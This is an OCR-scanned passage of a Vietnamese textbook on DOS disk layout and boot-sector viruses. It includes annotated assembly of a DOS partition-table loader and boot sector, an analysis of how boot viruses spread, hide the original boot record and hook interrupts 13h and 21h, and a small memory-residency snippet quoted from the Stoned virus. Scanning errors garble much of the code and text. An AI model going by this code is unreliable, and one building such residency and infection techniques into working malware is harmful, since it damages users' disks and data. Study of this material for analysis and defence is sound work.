tu tay dinh vi cdc phan cta dia cing 1a diéu thi vi ddy cha!
Viéc dinh vi nhu da néi khong dung dén DOS, do d6, phai truy nhap va sit dung cic tham s6
cua bang BPB trén Boot sector. Chinh DOS ciing da lam diéu nay (néu Boot sector qua that
chita tham s6 clia bang nay mot céch chinh xéc) truGe khi dinh vi bing cdch khdc (thong qua
Media byte). Viéc dinh vi cdc phan chi don gian 1a dinh vi sector ddu FAT, sector ddu Root va
sector dau viing data.
Viéc dinh vi sector didu FAT tuong ddi dé dang, né ciing chinh 1a gi4 tri cha cdc sector danh
riéng ké ca Boot sector.
Viéc dinh vi sector ddu Root bing sector ddu FAT cong véi s6 sector trén hai bang FAT.
Viéc dinh vi sector dau viing Data bang sector dau Root cong véi s6 sector danh cho Root.
Doan chuong trinh sau minh hoa viéc doc Boot sector tir dia A (gia st ¢ chita bang tham s&
dia) va tién hanh dinh vi.
AnalysisBootprocnear
;Chitc nang: dinh vi ddu vao méi phdn trong vinh system va chita vao trong cdc bién
;sector_begin_FAT, sector_begin_root, sector_begin_data
;Boot sector dugc doc vao trong buffer My_Buffer

mov AL, 0 ;Pia A
movDX, 0 ;Doc sector 0
mov CX, 1 ;1 sector
lea BX, my_buffer :DS:BX la dia chi buffer
int 25h ;Doc 14y 1 word trong
pop DX ;Stack
jnc contl
jmp error
contl:
mov AX, my_buffer[OEh] ;Sector reserved

mov sector_begin_FAT, AX
21



Xor DX, DX
mov AL, my_buffer[10] ;S6 FAT*sector/FAT =s0 sector
Xor AH, AH ;cho FAT
mul my_buffer[16h]
add AX, my_buffer[1Ch] ;sector ddu mat
add AX, my_buffer[Eh] ;sector danh riéng
mov sector_begin_root, AX ;Sector dau root da tinh xong
mov sector_begin_data, AX ;Sector ddu data s€ 1 gid tri nay +
mov AX, 20h ;80 sector danh cho root
mul my_buffer[11h] ;SO entry toi da*s6 byte/entry
mov BX, my_buffer[Bh]
add AX, BX ;Lam tron thanh boi s6 byte
dec AX ;Chia s0 byte trén sector.
div BX
add sector_begin_data, AX ;Sector ddu data di duoc tinh
ret
analysis_boot  endp
sector_begin_FAT dw 0
sector_begin_root dw 0
sector_begin_data dw 0

my_buffer db 512 dup (0)

4/ Phan tich Boot: Céc phan trén da cung cap cho cdc ban kha chi tiét vé cdu tric logic cling
nhu cdc bang tham s6 dia quan trong ctia DOS. Bay gid, cac thong tin b ich d6 s& gitip chiing
ta 1an lugt phan tich 2 doan ma trong Partition table va trong Boot record. Viéc hiéu biét tudng
tan cong viéc clia Boot record, dii chi cu thé trén 1 version clia DOS ciing gitip chiing ta c6
mot céi nhin khai quét va dé tiép can véi B-virus hon.
a. Partition table: Cong viéc chinh ctia doan ma trong Partition table gom:

+ Chuyén chinh chuong trinh ctia minh di chd khac dé don ché cho viéc tai Boot record
clia Active partition vao.

+ Kiém tra dau hiéu nhan dién Boot record bing 1 gid tri word & off 01BEh (néu 1a Boot
record, gid tri nay 1a 0AA55h).

+ Cung célp bang tham s6 cua entry tuong tng vao 0:7BE.

+ Chuyén quyén diéu khién cho Boot record vira doc.
Partition table ma ta khao sat dudi hé diéu hanh MSDOS trén dia cing 40Mb duoc chia lam 2
dia bang FDISK: C ¢6 kich thudc 26Mb va D 1a 15Mb.

Org 07CO00h

begin: ;Khai tao stack
cli

xor AX, AX

mov SS, AX

mov SP, 07C00h

mov SI, SP

push AX

pop ES

push AX
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pop DS

sti

;Chuyén chuong trinh sang viing 0:0600 dé danh ché cho Boot sector clia partition dugc ;doc
vao

cld

mov DI, 0600
mov CX, 100h
repne  MOVSW

jmp 0:061DH ;Chuyén quyén diéu khién sang viing

mov SI, 07BEh ;mdi, tro SI dén bang tham s6

mov BL, 4 :Kiém tra xem partition nao 1a
check: ;active (dua vao boot_flag)

cmp BLI[SI], 80h

je check_partition ;Néu 1a active, chuyén sang

cmp  byte ptr [SI], 0 ;phan kiém tra partition

jne invalid ;¢6 hop 1¢ khong

add SI, 100h ;Hop 1¢ kiém tra tiép

dec BL ;partition k&

jne check ;Néu khong c6 partition nao thoa

int 1Bh ;chuyén sang FCB BASIC
Check_partition:

mov DX, word ptr[SI] ;Pua gia tri dinh vi Boot sector

mov CX, word ptr[SI+2] ;vao

mov BP, SI

Next_partition:
;D€ dam bao tinh hop 1¢, c4c partition cong lai phai khong duoc 14 active
add SI, 10h

dec BL
je load_system ;Hop 1é sé tai hé thong vao
cmp byte ptr[SI] ;? No active
je Next_partition ;Kiém tra tiép
invalid:
mov SI, offset errorl_mess ;Néu khong hop 1€: sai
next_char:
lodsb
cmp AL, 0
je loop
push SI
mov BX, 7
mov AH, Eh
int 10h
pop SI
jmp Next_char
loop:
jmp loop
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load_system:

mov DL 5 ;S€ doc lai 5 1an néu 16i
Try:

mov BX, 07C0O0h

mov AX, 0201h

push DI

int 13h

pop DI

jne load_ok

Xor AX, AX

int 13h

dec DI

jne Try

mov SI, offset error2_mess

jmp next_char
Load_ok:

mov SI, offset error3_mess

mov DI, 07DFEh

cmp word ptr [DI], 0AAS5h ;Kiém tra tinh hop ¢

jne next_char ;cliia boot sector

mov SI, BP

jmp 0:07C00h

errorl_mess db
error2_mess db
error3_mess db

reserved db
Partition1:
bootflagl
headNol db
secCylBeginl
System_ID1 db
HeadEndl db
secCylEnd1 dw
RelSecs1
TotalSecl
Partition2:
bootflag2
headNo2 db

secCylBegin2
System_ID2 db
HeadEnd2 db
secCylEnd2 dw
RelSecs2
TotalSec2
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‘Invalid partition table’, O

‘Error loading operating system’, 0
‘Missing operating system’, O

offset reserved - offset begin dup (0)

db 80h
1

dw 1
4 ;DOS FAT 16 bit
0

6B91h

dd 11h

dd 0CD76h

;Active

db 0

0

dw 6CS81h
5 ;DOS FAT 16 bit
4

0C5D1h

dd OCDEDh

dd 0727Ch

;No Active
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Partition3:

bootflag3 db 0
headNo3 db 0
secCylBegin3  dw 0
System_ID3 db 0
HeadEnd3 db 0
secCylEnd3 dw 0

RelSecs3 dd 0
TotalSec3 dd 0
Partition4:

bootflagd db 0

headNo4 db 0
secCylBegind  dw 0
System_ID4 db 0
HeadEnd4 db 0
secCylEnd4 dw 0
RelSecs4 dd 0
TotalSec4 dd 0
ID_disk dw OAAS5S5Sh

b. Boot sector: cong viéc chinh ciia Boot sector gom:

+ Khoi tao ngat 1Eh (bang tham s6 dia mém) bang bang tham s6 trong Boot sector (néu
c6 diéu kién, cdc ban cé thé nén quan tam dén su thay ddi cdc tham s6 dia mém qua version
khac nhau cia DOS).

+ Dinh vi cdc phan trén dia biang bang tham s6 BPB (nhu ching ta da khao sat).

+ Poc Root vao va kiém tra su ton tai clia hai file hé thong.

+ Néu cé, tai hai file nay vao va trao quyén diéu khién.

Boot sector ma chiing ta s€ phan tich 1a Boot sector trén dia mém 360Kb dugc format dudi
DOS 3.3
;Chtic nang: kiém tra v nap hé diéu hanh néu c6
;Vao : khong
;Ra : CH=media dia
DL=s06 hiéu vat I dia (O=dia A, 80h=dia ctng)
BX= sector ddu viung dit liéu

org 7C0O0h
jmp sort begin
;Bang tham s6 dia
nop
OEM db ‘MSDOS 3.3°

SectorSize dw 200h
ClusterSize dw 2
ReservedSector dw 1
FatCnt db 2
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RootSizedw 70h

TotalSector dw 2DOh

Media db OFDh

FatSize dw 2

TrackSect dw 9

HeadCnt dw 2

HiddenSector dw 0

Reserved  db 0Dh dup (0)
;Béng tham s6 dia mém cho ngit 1Eh

Parameter:
No_use db 4 dup (0)
EOT db 12h

No_use db 4 dup (0)
HeadSettleTime db 1
MotorStartupdb 0

Begin:

;Khdi tao cdc thanh ghi phan doan va Stack
cli

xor AX, AX

mov SS, AX

mov SP, 7C0O0h

push SS

pop ES

;Khoi tao bang tham s6 dia
mov DX, 78h

1ds SI, SS:[BX] ;DS:SI tro dén bang tham s6
push DS ;chuan cia ROM BIOS
push SI ;Gid tri cli clia tham sO sé
push SS ;duoc tra lai néu khong tim
push BX ;dugce hai file hé thong

mov DI, offset parameter

mov CX, 0Bh

cld

Contl:

lodsb ;Nhitng tham s6 nao cia ROM c6
cmp ES:byte ptr[DI], 0 ;phén t tuong ting trong boot
je cont(Q ;bing 0 s& dugc copy lai

mov AL, byte ptr[DI]

Cont0:

stosb

mov AL, AH

loop contl

push ES

pop DS ;Pat lai ngit 1Eh

mov word ptr [BX+2]
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mov word ptr [BX], offset parameter

;Reset lai dia

;Néu gip 16i
;FatCnt*FatSize

sti

int 13h

;Phan dinh vi cdc thanh phan trong ving hé thong
jb errorl

mov AL, FatCnt

mul word ptr FatSize

add AX, HiddenSector

add AX, ReservedSector
mov word ptr [07C3Fh], AX
mov word ptr [07C37h], AX
mov AX, 20h

mul RootSize

mov BX, SectorSize

add AX, BX

dec AX

div BX

add word ptr [07C37h], AX

;= s0 sector cho FAT
;+s0 sector dau mit
;+s0 sector danh riéng
;=sector dau Root
:Luu vao sector dau data
;Kich thudc 1 entry
;S0 MaxEntry
;=s0 byte cho Root
;chia s0 byte 1 sector
;=s0 sector dau data

;Phan kiém tra 2 file hé thong bang cich doc sector dau Root vio dia chi 0:0500 roi
;80 sdnh 1an lugt 2 entry ddu tién véi hai tén file hé thong trong Boot sector.

mov BX, 0500h

mov AX, word [7C3Fh]
call ChangeSectorToPhysic
mov AX, 201h

call ReadSetor

jb error2
;Phin kiém tra 2 file h¢ thong
mov DI, BX

mov CX, 0Bh

mov SI, offset SysFilel
repe cmpsb

jne error3

lea DI, [BX+20h]
mov SI, offset SysFile2
mov CX, OBh

repe cmpsb

je cont2

Error3:

mov SI, offset error3_mess
Print:

call Print_mess

xor AH, AH

int 16h

pop SI

pop DS

;Buffer 0:0500h
;AX=sector dau data
;Chuén bi gi4 tri
;Chiic nang doc
;Poc mot sector

;L6i ?

;ES:DI tro dén tén file
;hé thong 1
:So sanh ?

;ES:DI tr6 dén tén file hé
;thong 2
:So sanh ?

;Thong bao néu khong cé

;Khoi phuc lai cdc tham s6
;clia bang tham s6 dia mém
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pop word ptr [SI]
pop word ptr [SI+2]

int 19h ;Reboot
Errorl:

mov SI, offset errorl_mess

jmp shor print

Cont2:

;Lay kich thu6c clia file hé thong trong Root vira doc dé tinh ra sé sector
;can doc vao.

mov AX, word ptr [51Ch]

Xor DX, DX

div SectorSize

inc AL ;Tinh s0 sector

mov byte ptr [7C3Ch], AL ;ung véi kich thudc file
mov AX, word ptr [7C37h] ;tim duogc

mov BX, 700h ;:Poc vao buffer bit 0:700h
Cont4:

mov AX, word ptr [7C37h]
call ChangeSectorToPhysic
mov AX, TrackSect

sub AL, byte ptr [7C3Bh]

inc AX

cmp byte ptr [7C37h], AL
ja cont3

mov AL, byte ptr [7C3Ch]
Cont3:

push  AX

call ReadSecto

pop AX

je errorl

sub byte ptr [7C3Ch], AL
je cont5

add word ptr [7C37h], AX
add BX, AX

jmp short cont4

Cont5:

;Chuyén tham s6 cho file hé théng
mov CH, Media

mov DL, Disk

mov BX, word ptr [7C3Dh]

jmp 70:0

Print_mess proc near ;In mot chudi ASCIIZ trong DS:SI
lod sb

or AL, AL ;? cu6i chudi ASCIIZ

je exit
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mov AH, OEh
mov BX, 7
int 10h ;In ra man hinh
jmp short Print_loop
Print_mess endp
ChangeSectorToPhysic ~ procnear
;Vao: AX= sector logic can ddi
;Ra: Céc gid tri tuong Gng Track, Head va sector dugc tinh va gan cho céc bién
;word[7C39h], byte[7C2Ah], byte[7C3Bh]
Xor DX, DX
div TrackSect
inc DL
mov byte ptr [7C3Bh], DL
Xor DX, DX
div HeadCnt
mov byteptr [7C2A], DL
mov word ptr [7C39], AX
Exit:
ret
ChangeSectorToPhysic  endp
ReadSector procnear
;Chiic nang: doc sector c6 gia tri Track, head sector da dugc tinh truée dé qua
;thl tuc ChangeSectorToPhysic
;Vao: AL = s6 sector ; ES:BX tré dén buffer chita dit liéu
;Ra: STC néu gap 16i

mov AH, 2

mov DX, word ptr [7C39]
mov CL, 5

shl DH, CL

or DH, byte ptr [7C3Bh]
xchg CL, CH

mov DL, Disk

mov DH, byte ptr [7TC2A]

int 13h

ret
ReadSector endp
Errorl_mess db 0Dh, 0Ah, Non-system disk or disk error’, O
Error2_mess db 0Dh, OAh, ’Disk boot failure’, O

File_sysl db ‘I0.SYS’

File_sys2 db ‘MSDOS.SYS’
Reserved db 17 dup (0)
Disk d 0

ID-Disk dw OAA55h
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Day chi 1a budc phan tich mot Boot sector don gian, d6i v6i DOS 4.xx, kha nang quan 1i dia
dugc md& rong thém (trén 32Mb), do d9, ciing tao nén doi phan phiic tap cho doan ma dinh vi
céc viing hé thong trén dia. Du sao, day ciing 1a mot dé tai thi vi ma cdc ban c6 thé tw minh
phan tich 14y. Mot ggi ¥ nho nho khéc 1a theo déi su bién ddi cdc tham s6 dia mém qua céc thé
hé mdy, qua céc version ctia DOS va qua cdc phan mém cho phép format dia.
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B - VIRUS

Qua chuong 1, cdc ban da dugc cung cip nhiéu thong tin Ii thi vé dia va ciing da phan tich
xong cdc doan ma trong Partition table cling nhu Boot sector. Tét ca nhitng diéu d6 cling chi
nhim mot muc dich duy nhat: gitp ching ta nim vitng va phan tich tot mot B - virus. Dé bat
dau, chiing ta phai tra 10i cau hdi: Virus nay tir dau ra?

L - Phuong Phap Lay Lan

Nhu ta da biét, sau qué trinh POST, sector dau tién trén dia A (néu khong sé 1a C) dugc doc
vio, mot tic vu kiém tra nho nhoé dé tranh mot 16i: sector d6 cé thé khong phai 1a mot Boot
sector hop 1¢, bing cach kiém tra gid tri nhan dién 0AAS55 tai cudi sector. Nhung viéc kiém
tra ndy ciing khong trénh khoi so hd néu ai d6 thay doan ma trong Boot sector bang mot
chuong trinh khéc véi y d6 x&u va d6 ciing chinh 1a cach 1ay lan ciia mot virus loai B.

Doi v6i dia mém, sector 0 ludn 1a Boot record, do d6, viéc lay chi ti€n hanh don gian bing
cach thay Boot record trén track 0, Side O, sector 1.

Song trén dia cting c6 chia cdc partition, moi chuyén lai phiic tap hon vi dau tién Master boot
duoc doc vao, sau qud trinh kiém tra partition active, Boot sector twong ttng méi duoc doc vao.
Chinh vi th€, cic Hacker c6 quyén chon mot trong hai noi. Nhung c hai déu c6 nhuoc diém
cta minh.

Déi v6i Partition table, uu diém cé vé 10 rang: né luon ludn dugc nap vao viing nhé ddu tién,
cho dui sau d6 hé diéu hanh nao duoc kich hoat va vi B - virus hoat dong khong tuong thich véi
mot hé diéu hanh nao ma chi thuc hién d6i véi dia. Mat khdc, néu bat ki mot phan mém nao
duéi DOS dung cdc ngat 25h va 26h ciing khong thé truy nhap dén Partition table, do d6 né
tranh khoi cip mat t mo cla nhiéu ngudi. Du vay, né van cé khuyét diém: phéi chd y dén
Partition table, nghia la doan ma dugc thay th€ khong dugc ghi dé vao bang tham s6 nay. Mot
xam pham du nhoé cling s€ anh hudng dén viéc quan 1i dia cing néu nguoi st dung Boot may
tir dia mém. Diéu nay ciing 1i gidi tai sao mot s6 virus trong nudc khong chd ¥ t6i diéu nay va
vi thé da tao ra 16i: khong kiém sodt dugc dia C khi mdy dugc Boot tir A (NOPS virus).

D6i v6i Boot sector lai khdc, mot virus chon giai phap Boot record thay cho Partition table c6
thé gap thuan loi trong viéc st dung bang tham s6 dia BPB, doan mi lay cho dia mém ciing s&
dugc dung tuong tu cho dia cing. Tuy nhién lai phai t6n kém cho giai thuat dinh vi mot
partition boot dugc, chinh diéu nay lai gay cho né mot thét loi: khong lay duoc trén dia cing
khong c6 Active partition.

Viéc lua chon Partition table hay Boot sector van 1a mot van dé dang ban cai clia cdc virus
(hay diing hon 12 giita nhitng nha thiét k€ virus), tuy nhién hau hét cdc virus sau nay déu ding
Master boot hon 1a Boot sector.

Vén dé then ch6t ma virus can phéi giai quyét 1a Boot sector nguyén thiy cla dia. RS rang
Boot nay phai dugc thay, nhung virus khong thé 1am thay moi chuyén cho mot Boot record vi
thuc su n6 dau cé biét Boot record nguyén thily phai lam gi, biét dau d6 1a mot doan ma khac
nhim mot muc dich khac? Chinh vi vay, virus ciing khong thé bd dugc Boot sector. Thay vao
dé, no sé cdt Boot nay vao mot chd nhat dinh nao d6 trén dia va sau khi thi hanh xong tdc vu
cai dat ctia minh, virus s& doc va trao quyén cho Boot cii. Moi viéc duge Boot cil tiép tuc lam
trong rat ‘binh thuong’. Nhung kho khan lai xuét hién: cit Boot record cii & dau khi ma moi
ch6 trén dia déu c6 thé bi stta d6i: FAT, ROOT va nhat 1a Data area. Cdch giai quyét cau hoi
nay ciling gidp chdng ta phan loai chi tiét hon vé B - virus.
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II - Phan Loai.

Khé khan trén dugc B - virus gidi quyét 6n thoa theo hai huéng: cét Boot record 1én mot vi trf
xéc dinh trén moi dia va chdp nhan moi rii ro mat mét Boot sector (do bi ghi d¢) du tat nhién
chd cét ddu nay c6 kha niang bi ghi d& thdp nhat. Huéng nay don gian va do dé chuong trinh
thuong khong 16n. Chi ding mot sector thay chd Boot record va do dé dugc goi 1a SB - virus
(Single B - virus). Mt khdc, 6 thé cit Boot sector nay vao mot noi an toan trén dia, trdnh khoi
moi sai 1dm, mat mat cé thé xdy ra. Vi kich thuc viing an toan cé thé dinh vi bat ki nén
chuong trinh virus thudng chi€m trén nhi€u sector va dugc chia thanh hai phan: mot phan trén
Boot record, mot trén dia (trén ving an toan). Vi dic diém nay, nhém nay dugc goi 1a DB -
virus (Double B - virus).

1/ SB - virus: Do tinh dé dii chdp nhan moi mét mét nén chuong trinh ngén gon chi chiém
ding mot sector. Thong thudng, SB - virus chon noi cit dau Boot 12 nhitng noi ma kha nang bi
ghi 1én 1a it nhAt.

Dai v6i dia mém, cédc noi thudng duge chon 1a:

+ Nhu doc gia ciing biét, it khi ndo ta khai thac hét s6 entry trén thu muc géc, trong khi
d6 DOS con khuyén khich chiing ta dung céu tric thu muc con dé tao cau tric cay cho dé
quan 1i. Chinh vi Ii do nay, sd entry & nhiing sector cudi Root Dir thuong khong dugc diung
dén va nhitng sector ndy 1a noi 1f tudng dé cat giau Boot record.

+ Khi phan phoi cluster cho mot file nao, DOS ciing bét ddu tim cluster tréng tir ddu viing
data can ct vao entry ctia n6 trén FAT, do d6, nhiing sector cudi ciing trén dia ciing kh6é ma bi
ghi de lén. Pay ciing 12 noi If tudng dé cat gidu Boot record.

Dai véi dia cling, moi chuyén xem ra lai don gian. Trén hau hét cdc dia cing, track O chi chida
Partition table (cho du dia chi ¢6 1 partition) trén sector 1, con nhiing sector con lai trén track
nay déu khong dugc ding dén. Do d6, cdc SB - virus va hau hét DB - virus déu chon noi nay
lam chdn ‘nuong than’.

2/ DB -virus: Mot sector v6i kich thudc 512 byte (do DOS quy dinh) khong phai 1a qua rong
rai cho nhitng tay hacker nhiéu tham vong. Nhung viéc m& rong kich thuGc khong phai 12 dé
dang, ho ciing da gidi quyét bing cach dit ti€p mot Boot record “gia’ 1én sector 1, track 0, Side
0. Boot record nay ¢4 nhiém vu tdi ‘hé diéu hanh’ virus vao bén trong viing nhé ro6i trao quyén.
Sau khi cai dat xong, ‘hé diéu hanh’ mdi tai Boot record that vao. ‘Hé diéu hanh® nay phai nim
& mot ‘partition’nao dé ngay trong long DOS hay tir mot phan khéc trén dia cing. Céach giai
quyét nay c6 thé la:

Dai v6i dia ciing: nhitng sector sau Partition table s&€ 1a chon nuong than an toan hoac giai
quyét tuong tu nhu véi dia mém.

D6i v6i dia mém: qua mat DOS béng cach dung nhiing cluster con trong dé chita chuong trinh
virus. nhiing entry tuong tng véi cac cluster nay trén FAT ngay sau d6 s€ bi danh ddu ‘Bad
cluster’ @é DOS khong con ngé ngang dén nita. Phuong phdp ndy t6 ra hitu hiéu vi s6 lugng
cluster dugc dung chi bi han ché béi s6 lugng cluster t6i da cta dia ciing con dung duge. Tuy
nhién, chinh mat manh nay ciing 12 mat yéu ctia n6: dé bi phat hién boi bat ki mot phan mém
DiskMap (PCTOOLS, NDD ....). Cho dui thé€ nao di nita phuong phdp nay van duogc va chudng
cho cdc loai DB - virus vi tinh tuong thich v6i moi loai 6 dia.

Phuong phdp thit hai ¢6 nhiéu tham vong hon: vugt ra khoi tdm kiém soat ctia DOS bing céch
tao thém mot track mdi ti€p theo track cudi ma DOS dang quan 1i (chi 4p dung doi véi dia
mém). Mot dia 360Kb ¢6 40 track dugc ddnh s6 tir O dén 39 s& dugc tao thém mot track s6 40
ching han. Diéu nay ciing tao cho virus mot khoang trong rét 16n trén dia (9sector®1/2Kb = 4,
5Kb). Tuy th€, phuong phdp nay di td rd nhuoc diém cla né trén céc loai 6 dia mém khéc
nhau. Cic bo diéu khién dia mém khdc nhau c6 thé c6 hoac khong c6 kha nang quén 1i thém
track. Do d6, da tao ra 16i doc dia khi virus ti€n hanh lay lan (dia kéu c6t két).
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Cho du 12 loai SB - virus hay DB - virus di nita, ciu tric bén trong ctia ching vin nhu nhau. Dé
c6 thé c6 cai nhin ding dan vé virus, ching ta s& bt ddu khdo sat B - virus bing cach phan
tich céu trdc cua nd.

III - Cau Tric Chuong Trinh B - Virus.

Do dic diém chi dugc trao quyén diéu khién mot 1an khi Boot mdy, virus phéi tim moi bién
phdp ton tai va dugc kich hoat lai khi cén thiét - nghia 1a xét vé mit nao d6 - n6 ciing giong
nhu mot chuong trinh ‘Pop up’ TSR (Terminate and Stay Resident). Do vay, phan chuong trinh
virus duogc chia lam hai phan: phan khéi tao (install) va phan than. Chi tiét ting phan duogc
khao sét tuong tan sau day:

1/ Phan install: Viéc uu tién hing dau 13 van dé luu tri (Resident), khong thé dung dugc céc
chiic nang ctia DOS dé xin cap phdt ving nhé (vi DOS ciing chua dugc tai vao), virus danh
phai ty minh lam 14y va trong thuc t€ viéc nay rat don gian. Theo sau van dé luu trd luon luon
12 viéc chuyén toan bo chuong trinh virus (ma ta goi l1a Progvi) sang vliing nay tién hanh thay
thé mot loat cdc ngit ciing. P& bao dam tinh ‘Pop up’ ctia minh mot khi dia duoc truy xuat,
Progvi luon chiém ngat 13h. Ngoai ra, dé phuc vu cho cong tdc phd hoai, gay nhiéu, ...., Progvi
con chiém cd ngit 21h ctia DOS nita. Sau khi da install xong, Boot record cii s& duoc tra lai
diing dia chi va trao quyén.

Doi véi loai DB - virus, phan install sé ti€n hanh tai toan bo phan than vao, ngay sau khi duoc
nap, trude khi thi hanh céc budc trén. Su khic nhau nay chi don gian 1a do kich thuGe ctia né
qué 16n ma thoi. So d6 cha phén install ¢ thé tém tit bing so d6 khéi sau:

_—

Dai ton tai trong bo nhé chua? Yes

No

Doc phan than (néu 1a Db - virus)

Chuyén chuong trinh va luu trd

%

Chiém céc|ngét ciing (13h, 8, 9)

Tra lai Boot record cii

N

JMP FAR 0:07C00h

2/ Phan than: La phan quan trong clia mot virus, chita cdc doan ma ma phan 16n s& thay thé
cho cdc ngat. C6 thé chia phan nay lam 4 phan nho tng véi 4 chifc ning rd rét.

+ Lay lan: 12 phin chinh ctia phan than, thay thé cho ngit 13h, ¢6 tdc dung lay lan bang cdch
copy chinh chuong trinh nay vao bat ki mot dia ndo chua nhiém.

+ Ph4 hoai: bét ki mot virus nao ciing c6 doan ma nay vi mot 1i do don gian: khong ai bo cong
stic dé tao ra mot virus khong 1am gi cd, ma ngudi tao ra phai ganh 14y mot phan trach nhiém
néu bi phat hién la tac gia. Phan phd hoai c¢6 thé chi mang tinh hai hudc tréu troc ngudi sit
dung, thadch do vé gidi thuat ngin gon ... cho dén nhitng y d6 x4u xa nham hiy diét dir liéu
trén dia.
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+ Dit liéu: dé luu chia nhitng thong tin trung gian, nhitng bién noi tai, dung riéng cho chuong
trinh virus, cho dén nhiing bd dém giov, dém s6 14n 1ay phuc vu cho cong tic phd hoai.

+ Boot record: thuc ra phan nay c6 thé khong nén ké vao chuong trinh virus vi né thay déi tuy
theo dia ma khong dinh dang, khong anh hudng gi dén chuong trinh virus. Tuy nhién, v6i mot
quan diém khac, Progvi luon phai dim bao dén su an toan ctia Boot sector, su bido dam nay
chat ché& dén ndi hau nhu Boot sector luon ‘cap k&’ bén canh chuong trinh virus, trong bo nhé
cling nhu trén dia. Mat khéc, néu két luan Progvi khong stt dung dén Boot record 1a khong
diing vi moi viéc dinh vi cdc phén trén dia, virus déu phai 14y thong tin trong BPB trén dia doi
tugng. Vi vay, Boot sector ciing dugc xem nhu mot phan khong thé thi€u ctia chuong trinh
virus. Khi moi viéc install da dugc 1am xong, Boot record nay duoc chuyén dén 0:7CO0h va
trao quyén diéu khién.

Dé virus c6 thé ton tai va phat trién, van phai c6 mot s6 yéu cdu vé moi trudng cling nhu chinh
virus. DuGi day, chdng ta s€ phan tich cdc yéu ciu can ¢6 6 mot B - virus.

IV - Cac Yéu Cau cua B - Virus.

1/ Tinh ton tai duy nhat: Virus phai ton tai trén dia ctng ciing nhu trong bo nhé, do la diéu
khong thé chéi cdi dugc. Tuy nhién, viéc ton tai qud nhiéu ban sao clia chinh né trén dia chi
lam cham qua trinh Boot, mét khdc, né ciing chiém qud nhiéu ving nhdg, anh hudng dén viéc
tai va thi hanh c4c chwong trinh khdc. D6 14 chua ké toc do truy xuit dia s& cham di ddng ké
néu c6 qud nhiéu ban sao nhu th€ trong ving nhd, Chinh vi Ii do nay, mot yéu c4du nghiém
ngat d6i véi moi loai B - virus 1a phai dam bao duoc su ton tai duy nhét trén dia. Su ton tai duy
nhat trén dia s&€ dam bao su ton tai duy nhat trong viing nhd sau dé.

Tuy nhién, vé6i téc do tang dang ké vé s6 luong B - virus, hién tugng 2 hay nhiéu virus cling
‘chia x&’ mot dia tat nhién s& xay ra. Trong truong hop nay, viéc kiém tra su ton tai s& dan dén
su sai léch va hau qua 1 virus s& tao ban sao chinh né nhiéu 14an trén dia, gay kh6 khan cho
viéc stra chita sau nay.

2/ Tinh luu tri: Khong nhu F -virus, B - virus chi dugc trao quyén diéu khién mot 1an duy
nhat. Do dé, dé dam bao duoc tinh ‘Popup’, né phai c6 tinh chat ctia mot TSR, nghia 13 phai
thuong tri. Song khi virus vao viing nhé, DOS chua duoc trao quyén té chiic Memory theo ¥
minh nén virus ¢6 quyén chiém doat khong khai bdo bat ki mot lugng viing nhé ndo ma né
can, DOS sau d6 sé quan 1 phan con lai ctia viing nhd.

3/ Tinh lay lan: Day khong phai 12 yéu ciu cén c¢6 ma chi phdi ¢6 néu virus muén ton tai va
phat trién. Viéc lay lan chi x4y ra trong qud trinh truy xuét dia, nghia 1a virus s& chi ph6i ngit
13h d@é thuc hién viéc lay lan.

4/ Tinh pha hoai: Khong phai 1a tinh bt buoc nhung hau nhu (néu khong néi 12 tit c) moi
virus déu c6 tinh phd hoai. Nhitng doan ma pha hoai nay s& duoc kich hoat khi dén mot thoi
diém xdc dinh nao dé.

5/ Tinh gay nhiém va nguy trang: Khi ban chat cla virus dugc khéo sdt tudng tan thi viéc
phét hién virus khong con 1a van dé phic tap. Do d6, yéu cau nguy trang va gay nhiéu ngay
cang tré nén cép bach dé bio dam tinh séng con cla virus. Viéc gay nhiéu tao nhiéu khé khan
cho nhiing nha chéng virus trong viéc theo ddi chuong trinh dé tim cach khoi phuc Boot, viéc
nguy trang 1am cho virus ¢ mot vé bé ngoai, 1am cho kha nang phét hién budc dau bi bo qua.
6/ Tinh tuong thich: Khong nhu F - virus, B - virus khong phu thuoc vao hé diéu hanh nao
(mac du nhitng virus sau nay qud lam dung kha nang ctia DOS). Tuy nhién, vi dia c¢6 qua
nhiéu loai, chi riéng dia mém ciing da c6 loai 360Kb, 1.2Mb,..... cling gay nhiéu khé khan cho
virus trong viéc thiét k&. N6 phai tuong thich - hiéu theo nghia lay lan duoc - véi moi loai dia.
Cang tuong thich bao nhiéu, kha nang ton tai va 1ay lan sé& cao bay nhiéu.
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Mat khdc, su thira k& clia cac bo vi xir 1i (8086 - 80x86) di 1am xuat hién nhiéu diém di dong
mic dit tinh tuong thich dugc bao dam t6i da. Mot hacker tai gioi phai chi y dén diéu nay.
Mot vi du don gidn c6 thé ké ra: & bo vi xir Ii 8088, c6 thé gin gid tri tir thanh ghi AX vao
thanh ghi phan doan ma CS bing lénh MOV CS, AX. Piéu nay khong thé thuc hién dugc trén
cac bo vi xur 1 khac.

Cidc yéu cdu clia mot B - virus da duge khéo sat xong. Nhung nhitng ki thuat dé bién cdc yéu
cau nay thanh hién thyc lai chua dugc dé cap dén. Phan sau s& minh hoa ting ki thuat nay.

V - Phan Tich Ki Thuat.
Yéu cdu ddu tién 1a phai dua ra ki thuat luu trd - ki thuat s€ anh hudng dén moi tac vu sau do.
1/ Ki thuat luu tria: Khi thuc hién xong chuong trinh POST, gid tri tdng s6 viing nhg vita
dugc test (ving nhé co ban) sé luu vao viing Bios data ¢ dia chi 0:413h. Khi hé diéu hanh nhan
quyén diéu khién, n6 s& coi viing nhé ma né kiém sodt 1 gid tri trong dia chi nay. Do dé, sau
qua trinh POST va truc khi hé diéu hanh nhan quyén diéu khién, néu “ai d6 * thay déi gia tri
trong dia chi nay s& lam cho hé diéu hanh mat quyén quan Ii viing nhé dé. Tat ca cdc B - virus
déu 1am diéu nay, tiy theo kich thudc chwong trinh virus va buffer cho riéng né, ving nhé co
ban s€ bi giam xuong tuong tng. Tuy nhién, cho dén nay, hdu nhu khong ¢6 virus nao chiém
hon 7Kb cho mot minh né, nhung viéc ton tai nhiéu loai virus trén 1 dia Boot s& 1am ton khd
nhiéu bo nhé va do d6 ciing gép phan giam téc do thuc hién.
DPoan ma sau s& minh hoa cho ki thuat nay bang cdch giam ving nhd di 2 Kb:

mov AX, 0

mov DS, AX ;DS: Bios data

mov AX, word ptr [0413] ;AX= téng memory co ban
dec AX

dec AX ;Giam AX di 2Kb

mov word ptr [0413], AX ; Ving nhé da bi giam

(Trich chuong trinh virus Stone)

Vé sau, ki thuat ndy boc 16 nhiéu nhugc diém: khi gip Warm Boot, qud trinh test memory
